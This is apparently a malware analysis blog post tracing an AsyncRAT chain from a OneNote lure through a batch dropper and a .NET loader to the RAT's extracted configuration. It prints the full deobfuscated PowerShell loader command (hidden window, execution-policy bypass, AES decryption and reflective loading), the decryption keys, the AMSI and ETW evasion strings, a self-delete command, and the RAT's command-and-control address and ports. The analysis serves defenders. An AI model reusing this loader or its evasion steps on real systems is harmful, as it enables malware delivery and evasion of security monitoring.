Intro

We will be covering a recent payload delivery technique leveraging OneNote documents to lure users open fake attachments and become a victim of AsyncRAT malware.

OneNote Analysis

The OneNote document contains inside of itself a hidden .bat file that we can see by hovering the “phishy” button:

image.png

We can use OneDump.py in order to see what embedded files the document has and by this understand what we need to extract: image-2.png

We can see that 2 files has .PNG magic bytes which indicates that these files are images. but the second file actually starts with @ech which indicates a start of a Batch script.

We can dump the file by simply applying the flags -s followed up with the file stream ID and the -d for dump: image-3.png

Batch Analysis

looking at the batch script on text editor we can see 3 main things:

  1. The script contains broken strings that are assigned to variables.
  2. A huge Base64 blob in the middle of the script.
  3. A call that concatenates the broken strings into a command.

image.png

We can use the cmd and copy paste the strings assigns and then output the final commands: image-2.png

These are the 3 commands that are being executed by the batch script:

1.
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "%~0.exe"

2.
cd "%~dp0"

3.
"%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command $flLnL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($jhglm in $flLnL) { if ($jhglm.StartsWith(':: ')) {  $uDeAm = $jhglm.Substring(3); break; }; };$dLIJD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($uDeAm);$nJkwh = New-Object System.Security.Cryptography.AesManaged;$nJkwh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$nJkwh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$nJkwh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc=');$nJkwh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mehcJXqMnXZUmnmrBD1Eeg==');$bIbyd = $nJkwh.CreateDecryptor();$dLIJD = $bIbyd.TransformFinalBlock($dLIJD, 0, $dLIJD.Length);$bIbyd.Dispose();$nJkwh.Dispose();$gJfcg = New-Object System.IO.MemoryStream(, $dLIJD);$dkGYN = New-Object System.IO.MemoryStream;$yfRSU = New-Object System.IO.Compression.GZipStream($gJfcg, [IO.Compression.CompressionMode]::Decompress);$yfRSU.CopyTo($dkGYN);$yfRSU.Dispose();$gJfcg.Dispose();$dkGYN.Dispose();$dLIJD = $dkGYN.ToArray();$qMhaY = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($dLIJD);$haTMg = $qMhaY.EntryPoint;$haTMg.Invoke($null, (, [string[]] ('%*')))

Basically what happens is that the script copies powershell.exe to the current folder and then executes a powershell script with hidden windows and execution policy set to bypass

Powershell Analysis

Looking at the powershell script we can see here also 3 main parts:

  1. Iterate through the content of the batch script line by line and once a line starts with :: remove this matching pattern and stop interating.
  2. AES decryption process.
  3. Invoking the decrypted binary.

image.png

The script will retrieve the big blob I’ve mentioned in the batch script analysis part and decrypt it using AES, the key for the decryption will be: I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc= (in base64) and the IV will be: mehcJXqMnXZUmnmrBD1Eeg== (also in base64).

The output after the decryption process will be a .gz archive that then being decompressed and the content of it will be a binary that will be invoked by the script. image-2.png

The CyberChef recipe can be found here

I’ve also implemented a python script that can be used to decrypt and save the .gz archive:

from malduck import aes
from base64 import b64decode

BATCH_FILE_PATH = '/Users/igal/malwares/Asyncrat/OneNote/2. one.bat'
AES_KEY = 'I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc='
AES_IV = 'mehcJXqMnXZUmnmrBD1Eeg=='
OUTPUT_ARCHIVE_PATH = '/Users/igal/malwares/Asyncrat/OneNote/4.one.gz'

batchFile = open(BATCH_FILE_PATH, 'r').readlines()
encFile = ''
for line in batchFile:
    if ':: ' in line:
        encFile = line[3:]
        break

key = b64decode(AES_KEY)
iv = b64decode(AES_IV)
data = b64decode(encFile)

plainData = aes.cbc.decrypt(key, iv, data)

open(OUTPUT_ARCHIVE_PATH, 'wb').write(plainData)
print(f'[+] gz archive was created in:{OUTPUT_ARCHIVE_PATH}')

[+] gz archive was created in:/Users/igal/malwares/Asyncrat/OneNote/4.one.gz

.NET Loader

now we can analyze the loader stored in the archive. The loader is 32bit .NET assembly: image.png

I open up the loader in DnSpy in order to further analyze it. The loader has several key actions:

  • Set the file to be hidden and part of the system files
  • VM check based on computer system info

image-2.png

image-3.png

  • ETW Unhooking which will disable the logging for Assembly.Load calls, this topic is explained in depth by XPN.

image-4.png

  • Decrypt strings which some of them used during the AMSI Bypass & ETW Unhooking procedures and other strings are part of the loader functionalities. the method that will be in charge of decrypting those strings is DCPmslvtGCDAiOhxxQvq.MvljRQYEXFVoIflOHPxg and it’s actually another AES decryption routine which receives 3 arguments: Cipher, key, iv (after decoding those arguments from base64).

image-5.png

I’ve created a quick PowerShell script that invokes the method with the encrypted strings and prints out the decrypted strings

$reflectedAsm = [System.Reflection.Assembly]::LoadFile(PATH_TO_FILE)

$mainType = $reflectedAsm.GetType("rwcQssqTcyOdXXoBLoie.DCPmslvtGCDAiOhxxQvq")

$key = [System.Convert]::FromBase64String("iUlREPUR7NQ6ocefGLoxBty1eSNembQTSWsROZidb0A=")
$iv = [System.Convert]::FromBase64String("U+YnktYGyx/j43tP2+WVyw==")

$encryptedStrings = ("8qhzRqWw9fiH/7/a5reZMA==", "D/l1SD7OECP0XB2rUm87gA==", "lbk35FoNbOitTifMeNV97Q==", "uJDwrcc4OjLfnn4YCE0Bxw==", "x9nd50/ydQ4NyJMlduaTA1aZE7EpXLNuSa2GwfmjWlxjNEtyTrE+c9z9hlGIXS4Q")

foreach ($encArg in $encryptedStrings){
    $decodedArg = [System.Convert]::FromBase64String($encArg)
    $DecResult = [System.Text.Encoding]::UTF8.GetString(($mainType.GetMethod("MvljRQYEXFVoIflOHPxg")).invoke($null,@($decodedArg, $key, $iv)))
    Write-Output $DecResult
}

The decrypted strings are:

AmsiScanBuffer
EtwEventWrite
payload.exe
runpe.dll
/c choice /c y /n /d y /t 1 & attrib -h -s "

The first two strings are part of the AMSI Bypass and ETW Unhooking procedures. payload.exe and runpe.dll are strings that the loader will try to fetch from the binary resources, if we look at the resources of this binary we can see 2 resources:

  • payload.exe
  • Ticket_Reprint.pdf The loader will iterate through the binary resources and if the name of the resource isn’t one of the decrypted strings it will instantly fetch the content of the resource and execute it. In our case the loader will load a fake PDF for the user:

image-6.png

image-9.png

image-8.png

The loader will decrypt the content of payload.exe resource which will be another .gz archive and it will decompress it with the method XWmzUoViPReUSRriqGvB.

image-10.png

For this I’ve also implemented a quick PowerShell script that will invoke those methods to retrieve the final payload

$stream = $reflectedAsm.GetManifestResourceStream("payload.exe")
$binaryReader = New-Object System.IO.BinaryReader($stream)
$contents = $binaryReader.ReadBytes($stream.Length)
$DecryptedGZ = $mainType.GetMethod("MvljRQYEXFVoIflOHPxg").invoke($null,@($contents, $key, $iv))
$finalPayload = $mainType.GetMethod("XWmzUoViPReUSRriqGvB").invoke($null, @(,$DecryptedGZ))

[io.file]::WriteAllBytes(PATH_TO_FILE,$finalPayload)

Now that the loader has his final payload it will invoke the entry point of the payload and will execute a cmd command to delete the file from disk: image-11.png

ASyncRAT Payload

I will not conduct a deep analysis of the capabilities of ASyncRAT, as it’s a pretty known and heavy analyzed malware, if you want to find out in depth analysis of this family you can find it out here.

What I will be doing is creating a short PowerShell script that will extract the configuration automatically for us:

$reflectedAsm = [System.Reflection.Assembly]::LoadFile("C:\Users\igal\Desktop\AsyncRAT.bin")

$SettingsType = $reflectedAsm.GetType("Client.Settings")

($SettingsType.GetMethod("InitializeSettings")).Invoke($null, $null)

$fields = $SettingsType.GetFields()

foreach ($field in $fields){
    $value = $field.GetValue($null)
    Write-Host "$($field.Name): $value"
}

The output will be:

Ports: 6606,7707,8808
Hosts: 207.244.236.205
Version: 0.5.7B
Install: false
InstallFolder: %AppData%
InstallFile: 
Key: 
�� �i�ph���↕�6→#�ס�B♦�
MTX: AsyncMutex_6SI8OkPnk
Certificate: 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
Serversignature: Qcf6H60GXB8k7XU89y1GpMcXleNl4PyyrBbzxIzG2/ztlGpimu4P/YTXis20RQP/9Bd+LClqEicaIPJPR/jEhBJeOZoepuKLhOED6A0rjZjefKQIPi95CbejoV1WGVs/TQEWiirIezF8eEkYV/yeK2Ewbwi9lo4miF4LBdQA9q5kWMHxsmTqA15BqVVp6wYuFCXaXV8rbQ2Fxt57dEwgJfHBBouJsTFir9177xGquKWRAGvk4YwuyAAd7Ul24d2r4PodJMvE4r46En0gLHX/95rbDcZYrxWOgX88l4vbyf1LcLhkoXFa0RuIgRFgND8lUgcK8FgNG9sTePscXbawrehCAAPXtTwhkJoUMljxvZdbR/DflmtYjlVFxUBeTme/MO/tR6kusNP6ed9acScjd3Kuc1SM4IUqNY2z9cBPfsswqj6rLLvvZ3Z0nbF+A9GiNFn6JNjQiE+9ESRmM+0ul6gx8asAuo9fmoV1JUII18lNpoUPYkp/LJ1oZV3/QeVdqMdjB41PAzJLdYfmwR9r9y3yimXp3aW9tUNfHCpbpfYAD4K0vYxcnSWTJqVw2pXsWUIa7KEran+iyB/ui7lX9QZsNGPGrdwHuzy/K2z6BpmqP7uinuop7Aw4iuaB10aHB5YK11SYLetU20OnYXldGeuFZGCL0qNriziLdswL2Vw=
ServerCertificate: [Subject]
  CN=AsyncRAT Server

[Issuer]
  CN=AsyncRAT Server

[Serial Number]
  00AFA56C0FA71C2AD47B908F6EA2308D

[Not Before]
  1/1/2023 3:53:23 PM

[Not After]
  12/31/9999 11:59:59 PM

[Thumbprint]
  08A82A722AD7B5376494D7112785B366DA6CF449

Anti: false
aes256: Client.Algorithm.Aes256
Pastebin: null
BDOS: false
Hwid: A8F7444724DA6DACA6D4
Delay: 3
Group: Default

Which pretty much makes our life abit easier with IOC extraction :)

IOC’s